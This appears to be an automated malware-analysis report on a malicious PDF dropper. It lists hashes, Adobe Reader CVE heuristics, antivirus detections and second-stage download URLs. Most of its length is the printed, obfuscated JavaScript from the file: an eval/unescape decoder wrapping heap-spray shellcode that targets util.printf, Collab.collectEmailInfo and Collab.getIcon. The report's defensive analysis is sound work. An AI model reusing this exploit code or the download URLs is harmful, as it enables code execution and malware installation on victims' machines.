PDF malware analysis — malicious · f1c2b4fa836aa4ac

MALICIOUS

PDF

17.0 KB Created: 2009-05-01 21:21:45 Authoring application: tvEeSFCPx (via NeTSnrx) First seen: 2013-10-04

MD5: b6d8fecd06b1945c73fae4190188b956 SHA-1: 65692bf26b0ac18619baf64de167dc1d4f9ae9e3 SHA-256: f1c2b4fa836aa4acea122487e7341309d35c0da086e30a7ca11d479b688b3467

608 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.001 Malicious Link T1204.002 Malicious File

The PDF file contains multiple critical heuristic firings indicating exploitation of known Adobe Reader vulnerabilities (CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) via embedded JavaScript. The JavaScript is heavily obfuscated using `unescape()` and `eval()`, and further deobfuscated scripts were extracted. ClamAV detections on both the PDF and an extracted JavaScript artifact confirm its malicious nature as a dropper. The primary attack vector is the exploitation of these PDF reader vulnerabilities to execute the embedded malicious script.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 11

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Dropper.Agent-7322885-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Dropper.Agent-7322885-0
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

Matched line in script

/JS (
var bd = "10@32@118@97@114@32@97@114@114@121@32@61@32@110@101@119@32@65@114@114@97@121@40@41@59@10@32@118@97@114@32@118@101@114@115@105@111@110@32@61@32@97@112@112@46@118@105@101@119@101@114@86@101@114@115@105@111@110@59@10@32@105@102@32@40@118@101@114@115@105@111@110@32@62@32@56@41@10@32@123@10@32@10@32@110@111@112@32@61@32@117@110@101@115@99@97@112@101@40@34@37@117@48@65@48@65@37@117@48@65@48@65@37@117@48@65@48@65@37@117@48@65@48@65@34@41@10@32@118@97@114@32@112@97@121@108@111@97@100@32@61@32@ …
eval(unescape("%76%61%72%20%70%64%20%3D%20%22%22%3B%0D%0A%66%6F%72%20%28%76%61%72%20%69%3D%30%3B%20%69%3C%62%64%2E%6C%65%6E%67%74%68%3B%20%69%2B%2B%29%7B%20%70%64%20%2B%3D%20%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%62%64%5B%69%5D%29%3B%20%7D%0D%0A%0D%0A%0D%0A%65%76%61%6C%28%70%64%29%3B"));)

PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://lorenutrop.com//load.php?id=4 Referenced by PDF JavaScript
- http://lorenutrop.com//load.php?id=3Referenced by PDF JavaScript
- http://lorenutrop.com//load.php?id=5Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x22D	16181 bytes
SHA-256: `681c01028b2ae99a5958f06392825e318531b4948963f0b6871369ba4455ea4f`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 2 long hex-escaped blob(s).
Preview script First 1,000 lines of the extracted script var bd = "10@32@118@97@114@32@97@114@114@121@32@61@32@110@101@119@32@65@114@114@97@121@40@41@59@10@32@118@97@114@32@118@101@114@115@105@111@110@32@61@32@97@112@112@46@118@105@101@119@101@114@86@101@114@115@105@111@110@59@10@32@105@102@32@40@118@101@114@115@105@111@110@32@62@32@56@41@10@32@123@10@32@10@32@110@111@112@32@61@32@117@110@101@115@99@97@112@101@40@34@37@117@48@65@48@65@37@117@48@65@48@65@37@117@48@65@48@65@37@117@48@65@48@65@34@41@10@32@118@97@114@32@112@97@121@108@111@97@100@32@61@32@117@110@101@115@99@97@112@101@40@34@37@117@67@48@51@51@37@117@56@66@54@52@37@117@51@48@52@48@37@117@48@67@55@56@37@117@52@48@56@66@37@117@56@66@48@67@37@117@49@67@55@48@37@117@56@66@65@68@37@117@48@56@53@56@37@117@48@57@69@66@37@117@52@48@56@66@37@117@56@68@51@52@37@117@55@67@52@48@37@117@53@56@56@66@37@117@54@65@51@67@37@117@53@65@52@52@37@117@69@50@68@49@37@117@69@50@50@66@37@117@69@67@56@66@37@117@52@70@69@66@37@117@53@50@53@65@37@117@69@65@56@51@37@117@56@57@53@54@37@117@48@52@53@53@37@117@53@55@53@54@37@117@55@51@56@66@37@117@56@66@51@67@37@117@51@51@55@52@37@117@48@51@55@56@37@117@53@54@70@51@37@117@55@54@56@66@37@117@48@51@50@48@37@117@51@51@70@51@37@117@52@57@67@57@37@117@52@49@53@48@37@117@51@51@65@68@37@117@51@54@70@70@37@117@66@69@48@70@37@117@48@51@49@52@37@117@70@50@51@56@37@117@48@56@55@52@37@117@67@70@67@49@37@117@48@51@48@68@37@117@52@48@70@65@37@117@69@70@69@66@37@117@51@66@53@56@37@117@55@53@70@56@37@117@53@69@69@53@37@117@52@54@56@66@37@117@48@51@50@52@37@117@54@54@67@51@37@117@48@67@56@66@37@117@56@66@52@56@37@117@49@67@53@54@37@117@68@51@48@51@37@117@48@52@56@66@37@117@48@51@56@65@37@117@53@70@67@51@37@117@53@48@53@69@37@117@56@68@67@51@37@117@48@56@55@68@37@117@53@50@53@55@37@117@51@51@66@56@37@117@56@65@67@65@37@117@69@56@53@66@37@117@70@70@65@50@37@117@70@70@70@70@37@117@67@48@51@50@37@117@70@55@56@66@37@117@65@69@70@50@37@117@66@56@52@70@37@117@50@69@54@53@37@117@55@56@54@53@37@117@54@54@65@66@37@117@54@54@57@56@37@117@51@51@65@66@37@117@66@56@67@48@37@117@54@52@54@49@37@117@48@48@48@48@37@117@54@56@53@48@37@117@54@56@53@52@37@117@54@53@55@50@37@117@50@52@51@53@37@117@54@57@49@67@37@117@53@48@55@52@37@117@53@51@53@52@37@117@65@65@66@56@37@117@48@68@70@67@37@117@70@70@55@67@37@117@48@52@53@53@37@117@70@56@56@66@37@117@67@52@56@51@37@117@66@48@48@67@37@117@56@65@54@67@37@117@57@56@69@48@37@117@54@56@53@48@37@117@54@69@54@70@37@117@54@52@50@69@37@117@55@53@54@56@37@117@54@67@55@50@37@117@53@52@54@68@37@117@56@69@66@56@37@117@48@69@52@69@37@117@70@70@69@67@37@117@48@52@53@53@37@117@53@48@57@51@37@117@67@48@51@51@37@117@53@48@53@48@37@117@56@66@53@54@37@117@48@52@53@53@37@117@67@50@56@51@37@117@56@51@55@70@37@117@52@67@67@50@37@117@53@48@53@50@37@117@51@54@66@56@37@117@50@70@49@65@37@117@70@70@55@48@37@117@48@52@53@53@37@117@53@55@53@66@37@117@66@56@53@54@37@117@70@69@57@56@37@117@48@69@56@65@37@117@53@53@70@70@37@117@54@65@48@52@37@117@70@70@48@48@37@117@54@56@68@55@37@117@55@52@55@52@37@117@51@65@55@48@37@117@50@70@50@70@37@117@54@70@54@67@37@117@54@53@55@50@37@117@55@53@54@69@37@117@55@50@55@52@37@117@55@48@54@70@37@117@54@51@50@69@37@117@54@68@54@70@37@117@50@70@50@70@37@117@54@70@54@67@37@117@54@52@54@49@37@117@55@48@50@69@37@117@55@48@54@56@37@117@54@57@51@70@37@117@51@68@54@52@37@117@48@48@51@52@34@41@59@10@32@104@101@97@112@98@108@111@99@107@32@61@32@110@111@112@32@43@32@112@97@121@108@111@97@100@59@10@32@98@105@103@98@108@111@99@107@32@61@32@117@110@101@115@99@97@112@101@40@34@37@117@48@65@48@65@37@117@48@65@48@65@34@41@59@10@32@104@101@97@100@101@114@115@105@122@101@32@61@32@50@48@59@10@32@115@112@114@97@121@32@61@32@104@101@97@100@101@114@115@105@122@101@43@104@101@97@112@98@108@111@99@107@46@108@101@110@103@116@104@59@10@32@119@104@105@108@101@32@40@98@105@103@98@108@111@99@107@46@108@101@110@103@116@104@60@115@112@114@97@121@41@32@98@105@103@98@108@111@99@107@43@61@98@105@103@98@108@111@99@107@59@10@32@102@105@108@108@98@108@111@99@107@32@61@32@98@105@103@98@108@111@99@107@46@115@117@98@115@116@114@105@110@103@40@48@44@32@115@112@114@97@121@41@59@10@32@98@108@111@99@107@32@61@32@98@105@103@98@108@111@99@107@46@115@117@98@115@116@114@105@110@103@40@48@44@32@98@105@103@98@108@111@99@107@46@108@101@110@103@116@104@45@115@112@114@97@121@41@59@10@32@119@104@105@108@101@40@98@108@111@99@107@46@108@101@110@103@116@104@43@115@112@114@97@121@32@60@32@48@120@52@48@48@48@48@41@32@98@108@111@99@107@32@61@32@98@108@111@99@107@43@98@108@111@99@107@43@102@105@108@108@98@108@111@99@107@59@10@32@109@101@109@32@61@32@110@101@119@32@65@114@114@97@121@40@41@59@10@32@102@111@114@32@40@105@61@48@59@105@60@49@52@48@48@59@105@43@43@41@32@109@101@109@91@105@93@32@61@32@98@108@111@99@107@32@43@32@104@101@97@112@98@108@111@99@107@59@10@32@118@97@114@32@110@117@109@32@61@32@49@50@57@57@57@57@57@57@57@57@57@57@57@57@57@57@57@57@57@57@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@59@10@32@117@116@105@108@46@112@114@105@110@116@102@40@34@37@52@53@48@48@48@102@34@44@110@117@109@41@59@10@32@125@10@32@102@117@110@99@116@105@111@110@32@102@105@120@95@105@116@40@121@97@114@115@112@44@32@108@101@110@41@10@32@123@10@32@119@104@105@108@101@32@40@121@97@114@115@112@46@108@101@110@103@116@104@42@50@60@108@101@110@41@10@32@123@10@32@121@97@114@115@112@32@43@61@32@121@97@114@115@112@59@10@32@125@10@32@121@97@114@115@112@32@61@32@121@97@114@115@112@46@115@117@98@115@116@114@105@110@103@40@48@44@108@101@110@47@50@41@59@10@32@114@101@116@117@114@110@32@121@97@114@115@112@59@10@32@125@10@32@105@102@32@40@118@101@114@115@105@111@110@32@60@32@56@41@10@32@123@10@32@10@32@118@97@114@32@109@101@109@95@97@114@114@97@121@32@61@32@110@101@119@32@65@114@114@97@121@40@41@59@10@32@118@97@114@32@99@99@32@61@32@48@120@48@99@48@99@48@99@48@99@59@10@32@118@97@114@32@97@100@100@114@32@61@32@48@120@52@48@48@48@48@48@59@10@32@118@97@114@32@112@97@121@108@111@97@100@32@61@32@117@110@101@115@99@97@112@101@40@34@37@117@67@48@51@51@37@117@56@66@54@52@37@117@51@48@52@48@37@117@48@67@55@56@37@117@52@48@56@66@37@117@56@66@48@67@37@117@49@67@55@48@37@117@56@66@65@68@37@117@48@56@53@56@37@117@48@57@69@66@37@117@52@48@56@66@37@117@56@68@51@52@37@117@55@67@52@48@37@117@53@56@56@66@37@117@54@65@51@67@37@117@53@65@52@52@37@117@69@50@68@49@37@117@69@50@50@66@37@117@69@67@56@66@37@117@52@70@69@66@37@117@53@50@53@65@37@117@69@65@56@51@37@117@56@57@53@54@37@117@48@52@53@53@37@117@53@55@53@54@37@117@55@51@56@66@37@117@56@66@51@67@37@117@51@51@55@52@37@117@48@51@55@56@37@117@53@54@70@51@37@117@55@54@56@66@37@117@48@51@50@48@37@117@51@51@70@51@37@117@52@57@67@57@37@117@52@49@53@48@37@117@51@51@65@68@37@117@51@54@70@70@37@117@66@69@48@70@37@117@48@51@49@52@37@117@70@50@51@56@37@117@48@56@55@52@37@117@67@70@67@49@37@117@48@51@48@68@37@117@52@48@70@65@37@117@69@70@69@66@37@117@51@66@53@56@37@117@55@53@70@56@37@117@53@69@69@53@37@117@52@54@56@66@37@117@48@51@50@52@37@117@54@54@67@51@37@117@48@67@56@66@37@117@56@66@52@56@37@117@49@67@53@54@37@117@68@51@48@51@37@117@48@52@56@66@37@117@48@51@56@65@37@117@53@70@67@51@37@117@53@48@53@69@37@117@56@68@67@51@37@117@48@56@55@68@37@117@53@50@53@55@37@117@51@51@66@56@37@117@56@65@67@65@37@117@69@56@53@66@37@117@70@70@65@50@37@117@70@70@70@70@37@117@67@48@51@50@37@117@70@55@56@66@37@117@65@69@70@50@37@117@66@56@52@70@37@117@50@69@54@53@37@117@55@56@54@53@37@117@54@54@65@66@37@117@54@54@57@56@37@117@51@51@65@66@37@117@66@56@67@48@37@117@54@52@54@49@37@117@48@48@48@48@37@117@54@56@53@48@37@117@54@56@53@52@37@117@54@53@55@50@37@117@50@52@51@53@37@117@54@57@49@67@37@117@53@48@55@52@37@117@53@51@53@52@37@117@65@65@66@56@37@117@48@68@70@67@37@117@70@70@55@67@37@117@48@52@53@53@37@117@70@56@56@66@37@117@67@52@56@51@37@117@66@48@48@67@37@117@56@65@54@67@37@117@57@56@69@48@37@117@54@56@53@48@37@117@54@69@54@70@37@117@54@52@50@69@37@117@55@53@54@56@37@117@54@67@55@50@37@117@53@52@54@68@37@117@56@69@66@56@37@117@48@69@52@69@37@117@70@70@69@67@37@117@48@52@53@53@37@117@53@48@57@51@37@117@67@48@51@51@37@117@53@48@53@48@37@117@56@66@53@54@37@117@48@52@53@53@37@117@67@50@56@51@37@117@56@51@55@70@37@117@52@67@67@50@37@117@53@48@53@50@37@117@51@54@66@56@37@117@50@70@49@65@37@117@70@70@55@48@37@117@48@52@53@53@37@117@53@55@53@66@37@117@66@56@53@54@37@117@70@69@57@56@37@117@48@69@56@65@37@117@53@53@70@70@37@117@54@65@48@52@37@117@70@70@48@48@37@117@54@56@68@55@37@117@55@52@55@52@37@117@51@65@55@48@37@117@50@70@50@70@37@117@54@70@54@67@37@117@54@53@55@50@37@117@55@53@54@69@37@117@55@50@55@52@37@117@55@48@54@70@37@117@54@51@50@69@37@117@54@68@54@70@37@117@50@70@50@70@37@117@54@70@54@67@37@117@54@52@54@49@37@117@55@48@50@69@37@117@55@48@54@56@37@117@54@57@51@70@37@117@51@68@54@52@37@117@48@48@51@51@34@41@59@10@32@118@97@114@32@115@99@95@108@101@110@32@61@32@112@97@121@108@111@97@100@46@108@101@110@103@116@104@32@42@32@50@59@10@32@118@97@114@32@108@101@110@32@61@32@97@100@100@114@32@45@32@40@115@99@95@108@101@110@43@48@120@51@56@41@59@10@32@118@97@114@32@121@97@114@115@112@32@61@32@117@110@101@115@99@97@112@101@40@34@37@117@57@48@57@48@37@117@57@48@57@48@34@41@59@10@32@121@97@114@115@112@32@61@32@102@105@120@95@105@116@40@121@97@114@115@112@44@32@108@101@110@41@59@10@32@118@97@114@32@99@111@117@110@116@50@32@61@32@40@99@99@32@45@32@48@120@52@48@48@48@48@48@41@47@97@100@100@114@59@10@32@102@111@114@32@40@118@97@114@32@99@111@117@110@116@61@48@59@99@111@117@110@116@60@99@111@117@110@116@50@59@99@111@117@110@116@43@43@41@10@32@123@10@32@109@101@109@95@97@114@114@97@121@91@99@111@117@110@116@93@32@61@32@121@97@114@115@112@32@43@32@112@97@121@108@111@97@100@59@10@32@125@10@32@118@97@114@32@111@118@101@114@102@108@111@119@32@61@32@117@110@101@115@99@97@112@101@40@34@37@117@48@99@48@99@37@117@48@99@48@99@34@41@59@10@32@119@104@105@108@101@40@111@118@101@114@102@108@111@119@46@108@101@110@103@116@104@32@60@32@52@52@57@53@50@41@32@111@118@101@114@102@108@111@119@32@43@61@32@111@118@101@114@102@108@111@119@59@10@32@116@104@105@115@46@99@111@108@108@97@98@83@116@111@114@101@32@61@32@67@111@108@108@97@98@46@99@111@108@108@101@99@116@69@109@97@105@108@73@110@102@111@40@10@32@123@10@32@115@117@98@106@58@32@34@34@44@109@115@103@58@32@111@118@101@114@102@108@111@119@10@32@125@10@32@41@59@10@32@125@10@32@105@102@32@40@118@101@114@115@105@111@110@32@60@32@57@46@49@41@10@32@123@10@32@105@102@32@40@97@112@112@46@100@111@99@46@67@111@108@108@97@98@46@103@101@116@73@99@111@110@41@10@32@123@10@32@118@97@114@32@112@97@121@108@111@97@100@32@61@32@117@110@101@115@99@97@112@101@40@34@37@117@67@48@51@51@37@117@56@66@54@52@37@117@51@48@52@48@37@117@48@67@55@56@37@117@52@48@56@66@37@117@56@66@48@67@37@117@49@67@55@48@37@117@56@66@65@68@37@117@48@56@53@56@37@117@48@57@69@66@37@117@52@48@56@66@37@117@56@68@51@52@37@117@55@67@52@48@37@117@53@56@56@66@37@117@54@65@51@67@37@117@53@65@52@52@37@117@69@50@68@49@37@117@69@50@50@66@37@117@69@67@56@66@37@117@52@70@69@66@37@117@53@50@53@65@37@117@69@65@56@51@37@117@56@57@53@54@37@117@48@52@53@53@37@117@53@55@53@54@37@117@55@51@56@66@37@117@56@66@51@67@37@117@51@51@55@52@37@117@48@51@55@56@37@117@53@54@70@51@37@117@55@54@56@66@37@117@48@51@50@48@37@117@51@51@70@51@37@117@52@57@67@57@37@117@52@49@53@48@37@117@51@51@65@68@37@117@51@54@70@70@37@117@66@69@48@70@37@117@48@51@49@52@37@117@70@50@51@56@37@117@48@56@55@52@37@117@67@70@67@49@37@117@48@51@48@68@37@117@52@48@70@65@37@117@69@70@69@66@37@117@51@66@53@56@37@117@55@53@70@56@37@117@53@69@69@53@37@117@52@54@56@66@37@117@48@51@50@52@37@117@54@54@67@51@37@117@48@67@56@66@37@117@56@66@52@56@37@117@49@67@53@54@37@117@68@51@48@51@37@117@48@52@56@66@37@117@48@51@56@65@37@117@53@70@67@51@37@117@53@48@53@69@37@117@56@68@67@51@37@117@48@56@55@68@37@117@53@50@53@55@37@117@51@51@66@56@37@117@56@65@67@65@37@117@69@56@53@66@37@117@70@70@65@50@37@117@70@70@70@70@37@117@67@48@51@50@37@117@70@55@56@66@37@117@65@69@70@50@37@117@66@56@52@70@37@117@50@69@54@53@37@117@55@56@54@53@37@117@54@54@65@66@37@117@54@54@57@56@37@117@51@51@65@66@37@117@66@56@67@48@37@117@54@52@54@49@37@117@48@48@48@48@37@117@54@56@53@48@37@117@54@56@53@52@37@117@54@53@55@50@37@117@50@52@51@53@37@117@54@57@49@67@37@117@53@48@55@52@37@117@53@51@53@52@37@117@65@65@66@56@37@117@48@68@70@67@37@117@70@70@55@67@37@117@48@52@53@53@37@117@70@56@56@66@37@117@67@52@56@51@37@117@66@48@48@67@37@117@56@65@54@67@37@117@57@56@69@48@37@117@54@56@53@48@37@117@54@69@54@70@37@117@54@52@50@69@37@117@55@53@54@56@37@117@54@67@55@50@37@117@53@52@54@68@37@117@56@69@66@56@37@117@48@69@52@69@37@117@70@70@69@67@37@117@48@52@53@53@37@117@53@48@57@51@37@117@67@48@51@51@37@117@53@48@53@48@37@117@56@66@53@54@37@117@48@52@53@53@37@117@67@50@56@51@37@117@56@51@55@70@37@117@52@67@67@50@37@117@53@48@53@50@37@117@51@54@66@56@37@117@50@70@49@65@37@117@70@70@55@48@37@117@48@52@53@53@37@117@53@55@53@66@37@117@66@56@53@54@37@117@70@69@57@56@37@117@48@69@56@65@37@117@53@53@70@70@37@117@54@65@48@52@37@117@70@70@48@48@37@117@54@56@68@55@37@117@55@52@55@52@37@117@51@65@55@48@37@117@50@70@50@70@37@117@54@70@54@67@37@117@54@53@55@50@37@117@55@53@54@69@37@117@55@50@55@52@37@117@55@48@54@70@37@117@54@51@50@69@37@117@54@68@54@70@37@117@50@70@50@70@37@117@54@70@54@67@37@117@54@52@54@49@37@117@55@48@50@69@37@117@55@48@54@56@37@117@54@57@51@70@37@117@51@68@54@52@37@117@48@48@51@53@34@41@59@10@32@118@97@114@32@104@87@113@53@48@48@67@78@32@61@32@112@97@121@108@111@97@100@46@108@101@110@103@116@104@32@42@32@50@59@10@32@118@97@114@32@108@101@110@32@61@32@48@120@52@48@48@48@48@48@32@45@32@40@104@87@113@53@48@48@67@78@32@43@32@48@120@51@56@41@59@10@32@118@97@114@32@121@97@114@115@112@32@61@32@117@110@101@115@99@97@112@101@40@34@37@117@57@48@57@48@37@117@57@48@57@48@34@41@59@10@32@121@97@114@115@112@32@61@32@102@105@120@95@105@116@40@121@97@114@115@112@44@32@108@101@110@41@59@10@32@118@97@114@32@112@53@65@106@75@54@53@102@32@61@32@40@48@120@48@99@48@99@48@99@48@99@32@45@32@48@120@52@48@48@48@48@48@41@32@47@32@48@120@52@48@48@48@48@48@59@10@32@102@111@114@32@40@118@97@114@32@118@113@99@81@68@57@54@121@32@61@32@48@59@32@118@113@99@81@68@57@54@121@32@60@32@112@53@65@106@75@54@53@102@59@32@118@113@99@81@68@57@54@121@32@43@43@32@41@10@32@123@10@32@97@114@114@121@91@118@113@99@81@68@57@54@121@93@32@61@32@121@97@114@115@112@32@43@32@112@97@121@108@111@97@100@59@10@32@125@10@32@118@97@114@32@116@85@77@104@78@98@71@119@32@61@32@117@110@101@115@99@97@112@101@40@34@37@48@57@34@41@59@10@32@119@104@105@108@101@32@40@116@85@77@104@78@98@71@119@46@108@101@110@103@116@104@32@60@32@48@120@52@48@48@48@41@116@85@77@104@78@98@71@119@32@43@61@32@116@85@77@104@78@98@71@119@59@10@32@116@85@77@104@78@98@71@119@32@61@32@34@78@46@34@32@43@32@116@85@77@104@78@98@71@119@59@10@32@97@112@112@46@100@111@99@46@67@111@108@108@97@98@46@103@101@116@73@99@111@110@40@116@85@77@104@78@98@71@119@41@59@10@32@125@10@32@125@10".replace(/[A-Z]/g,function (c){eval(unescape("%2E%72%65%70%6C%61%63%65%28%2F%5B%41%2D%5A%5D%2F%67%2C%66%75%6E%63%74%69%6F%6E%20%28%63%29%7B%72%65%74%75%72%6E%20%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%28%28%28%63%20%3D%20%63%2E%63%68%61%72%43%6F%64%65%41%74%28%30%29%29%20%26%20%32%32%33%29%20%2D%20%35%32%29%20%25%20%32%36%20%2B%20%28%63%20%26%20%33%32%29%20%2B%20%36%35%29%3B"));}).split("@"); eval(unescape("%76%61%72%20%70%64%20%3D%20%22%22%3B%0D%0A%66%6F%72%20%28%76%61%72%20%69%3D%30%3B%20%69%3C%62%64%2E%6C%65%6E%67%74%68%3B%20%69%2B%2B%29%7B%20%70%64%20%2B%3D%20%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%62%64%5B%69%5D%29%3B%20%7D%0D%0A%0D%0A%0D%0A%65%76%61%6C%28%70%64%29%3B"));
`javascript_obj0007_001.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x22D	15484 bytes
SHA-256: `a339c394c71eb609622c25d9f72b9c21d7c55906bf8adfb03e6f5d246b8c6573`
Preview script First 1,000 lines of the extracted script var bd = "10@32@118@97@114@32@97@114@114@121@32@61@32@110@101@119@32@65@114@114@97@121@40@41@59@10@32@118@97@114@32@118@101@114@115@105@111@110@32@61@32@97@112@112@46@118@105@101@119@101@114@86@101@114@115@105@111@110@59@10@32@105@102@32@40@118@101@114@115@105@111@110@32@62@32@56@41@10@32@123@10@32@10@32@110@111@112@32@61@32@117@110@101@115@99@97@112@101@40@34@37@117@48@65@48@65@37@117@48@65@48@65@37@117@48@65@48@65@37@117@48@65@48@65@34@41@10@32@118@97@114@32@112@97@121@108@111@97@100@32@61@32@117@110@101@115@99@97@112@101@40@34@37@117@67@48@51@51@37@117@56@66@54@52@37@117@51@48@52@48@37@117@48@67@55@56@37@117@52@48@56@66@37@117@56@66@48@67@37@117@49@67@55@48@37@117@56@66@65@68@37@117@48@56@53@56@37@117@48@57@69@66@37@117@52@48@56@66@37@117@56@68@51@52@37@117@55@67@52@48@37@117@53@56@56@66@37@117@54@65@51@67@37@117@53@65@52@52@37@117@69@50@68@49@37@117@69@50@50@66@37@117@69@67@56@66@37@117@52@70@69@66@37@117@53@50@53@65@37@117@69@65@56@51@37@117@56@57@53@54@37@117@48@52@53@53@37@117@53@55@53@54@37@117@55@51@56@66@37@117@56@66@51@67@37@117@51@51@55@52@37@117@48@51@55@56@37@117@53@54@70@51@37@117@55@54@56@66@37@117@48@51@50@48@37@117@51@51@70@51@37@117@52@57@67@57@37@117@52@49@53@48@37@117@51@51@65@68@37@117@51@54@70@70@37@117@66@69@48@70@37@117@48@51@49@52@37@117@70@50@51@56@37@117@48@56@55@52@37@117@67@70@67@49@37@117@48@51@48@68@37@117@52@48@70@65@37@117@69@70@69@66@37@117@51@66@53@56@37@117@55@53@70@56@37@117@53@69@69@53@37@117@52@54@56@66@37@117@48@51@50@52@37@117@54@54@67@51@37@117@48@67@56@66@37@117@56@66@52@56@37@117@49@67@53@54@37@117@68@51@48@51@37@117@48@52@56@66@37@117@48@51@56@65@37@117@53@70@67@51@37@117@53@48@53@69@37@117@56@68@67@51@37@117@48@56@55@68@37@117@53@50@53@55@37@117@51@51@66@56@37@117@56@65@67@65@37@117@69@56@53@66@37@117@70@70@65@50@37@117@70@70@70@70@37@117@67@48@51@50@37@117@70@55@56@66@37@117@65@69@70@50@37@117@66@56@52@70@37@117@50@69@54@53@37@117@55@56@54@53@37@117@54@54@65@66@37@117@54@54@57@56@37@117@51@51@65@66@37@117@66@56@67@48@37@117@54@52@54@49@37@117@48@48@48@48@37@117@54@56@53@48@37@117@54@56@53@52@37@117@54@53@55@50@37@117@50@52@51@53@37@117@54@57@49@67@37@117@53@48@55@52@37@117@53@51@53@52@37@117@65@65@66@56@37@117@48@68@70@67@37@117@70@70@55@67@37@117@48@52@53@53@37@117@70@56@56@66@37@117@67@52@56@51@37@117@66@48@48@67@37@117@56@65@54@67@37@117@57@56@69@48@37@117@54@56@53@48@37@117@54@69@54@70@37@117@54@52@50@69@37@117@55@53@54@56@37@117@54@67@55@50@37@117@53@52@54@68@37@117@56@69@66@56@37@117@48@69@52@69@37@117@70@70@69@67@37@117@48@52@53@53@37@117@53@48@57@51@37@117@67@48@51@51@37@117@53@48@53@48@37@117@56@66@53@54@37@117@48@52@53@53@37@117@67@50@56@51@37@117@56@51@55@70@37@117@52@67@67@50@37@117@53@48@53@50@37@117@51@54@66@56@37@117@50@70@49@65@37@117@70@70@55@48@37@117@48@52@53@53@37@117@53@55@53@66@37@117@66@56@53@54@37@117@70@69@57@56@37@117@48@69@56@65@37@117@53@53@70@70@37@117@54@65@48@52@37@117@70@70@48@48@37@117@54@56@68@55@37@117@55@52@55@52@37@117@51@65@55@48@37@117@50@70@50@70@37@117@54@70@54@67@37@117@54@53@55@50@37@117@55@53@54@69@37@117@55@50@55@52@37@117@55@48@54@70@37@117@54@51@50@69@37@117@54@68@54@70@37@117@50@70@50@70@37@117@54@70@54@67@37@117@54@52@54@49@37@117@55@48@50@69@37@117@55@48@54@56@37@117@54@57@51@70@37@117@51@68@54@52@37@117@48@48@51@52@34@41@59@10@32@104@101@97@112@98@108@111@99@107@32@61@32@110@111@112@32@43@32@112@97@121@108@111@97@100@59@10@32@98@105@103@98@108@111@99@107@32@61@32@117@110@101@115@99@97@112@101@40@34@37@117@48@65@48@